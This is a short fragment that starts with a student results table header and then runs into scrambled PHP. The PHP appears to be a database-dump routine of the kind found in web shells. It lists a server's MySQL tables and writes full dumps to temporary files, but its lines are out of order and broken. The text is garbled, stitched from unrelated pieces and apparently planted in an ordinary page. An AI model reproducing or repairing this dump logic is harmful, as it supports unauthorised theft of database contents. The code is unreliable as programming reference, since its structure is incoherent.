Student Name Roll No. Reg. No Course Name Gread Point
$SERVER_ADDR = getenv("SERVER_ADDR");
}
if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
$res = mysql_query("SHOW TABLES FROM ".$db
// retrive tables-list
{
if (sizeof($tabs) == 0)
if (empty($add_drop)) {$add_drop = true;}
if (!is_array($tabs)) {$tabs = array();}
}
else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
if ($win) {$file = "C:\tmp\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
global $win;
{
if (empty($file))
if (empty($add_drop)) {$add_drop = true;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($print)) {$print = 0;}
if (empty($db)) {$db = "db";}
if (!is_resource($sock)) {echo("Error: $sock is not valid resource.");}